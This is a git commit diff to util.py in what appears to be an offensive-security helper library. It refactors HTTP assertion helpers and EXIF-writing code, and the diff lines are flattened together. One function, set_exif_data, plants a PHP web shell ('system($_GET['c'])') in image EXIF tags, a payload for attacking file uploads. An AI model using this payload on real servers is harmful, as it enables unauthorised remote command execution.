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fix

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This commit is contained in:
Roman Hergenreder 2023-09-11 14:33:41 +02:00
parent 7e87a9f3e9
commit 9e6432d976
1 changed files with 19 additions and 15 deletions
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34
util.py
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@ -5,7 +5,6 @@ import socket
import netifaces as ni import netifaces as ni
import string import string
import sys import sys
import exif
import os import os
import io import io
from PIL import Image from PIL import Image
@ -46,22 +45,26 @@ def exit_with_error(res, err):
def assert_status_code(res, status_code, err=None): def assert_status_code(res, status_code, err=None):
if res.status_code != status_code: if res.status_code != status_code:
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err err = f"[-] '{res.url}' returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err
exit_with_error(res, err)
def assert_header_present(res, header, err=None):
if header in res.headers:
return
err = f"[-] '{res.url}' did not return header: {header}" if err is None else err
exit_with_error(res, err) exit_with_error(res, err)
exit()
def assert_content_type(res, content_type, err=None): def assert_content_type(res, content_type, err=None):
if "Content-Type" in res.headers: assert_header_present(res, "Content-Type")
return
content_type_header = res.headers["Content-Type"].lower() content_type_header = res.headers["Content-Type"].lower()
if content_type_header == content_type.lower(): if content_type_header == content_type.lower():
return return
if content_type_header.lower().startswith(content_type.lower() + ";"): if content_type_header.lower().startswith(content_type.lower() + ";"):
return return
err = f"[-] Server returned unexpected status code {res.status_code}, expected: {status_code}" if err is None else err err = f"[-] '{res.url}' returned unexpected content type {content_type_header}, expected: {content_type}" if err is None else err
exit_with_error(res, err) exit_with_error(res, err)
exit()
def openServer(address, ports=None): def openServer(address, ports=None):
listenPort = None listenPort = None
@ -147,6 +150,7 @@ def pad(x, n):
return x return x
def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None): def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, exif_tag=None):
import exif
if _in is None or (isinstance(_in, str) and not os.path.exists(_in)): if _in is None or (isinstance(_in, str) and not os.path.exists(_in)):
_in = Image.new("RGB", (50,50), (255,255,255)) _in = Image.new("RGB", (50,50), (255,255,255))
@ -159,7 +163,7 @@ def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, ex
_in = exif.Image(bytes.getvalue()) _in = exif.Image(bytes.getvalue())
elif not isinstance(_in, exif.Image): elif not isinstance(_in, exif.Image):
print("Invalid input. Either give an Image or a path to an image.") print("Invalid input. Either give an Image or a path to an image.")
return exit()
valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values()) valid_tags = list(exif._constants.ATTRIBUTE_NAME_MAP.values())
if exif_tag is None: if exif_tag is None:
@ -167,17 +171,19 @@ def set_exif_data(payload="<?php system($_GET['c']);?>", _in=None, _out=None, ex
elif exif_tag == "all": elif exif_tag == "all":
for exif_tag in valid_tags: for exif_tag in valid_tags:
try: try:
_in[exif_tag] = payload print("Setting exif tag:", exif_tag)
print("adding:", exif_tag) _in.set(exif_tag, payload)
except Exception as e: except Exception as e:
print("Error setting exif tag:", exif_tag, str(e))
pass pass
else: else:
if exif_tag not in valid_tags: if exif_tag not in valid_tags:
print("Invalid exif-tag. Choose one of the following:") print("Invalid exif-tag. Choose one of the following:")
print(", ".join(valid_tags)) print(", ".join(valid_tags))
return exit()
res = _in.set(exif_tag, payload)
_in[exif_tag] = payload
if _out is None: if _out is None:
return _in.get_file() return _in.get_file()
@ -280,9 +286,7 @@ if __name__ == "__main__":
else: else:
_out = ".".join(_out[0:-1]) + "_exif." + _out[-1] _out = ".".join(_out[0:-1]) + "_exif." + _out[-1]
output = set_exif_data(payload, _in, _out, tag) set_exif_data(payload, _in, _out, tag)
sys.stdout.buffer.write(output)
sys.stdout.flush()
else: else:
print("Usage: %s [command]" % bin) print("Usage: %s [command]" % bin)
print("Available commands:") print("Available commands:")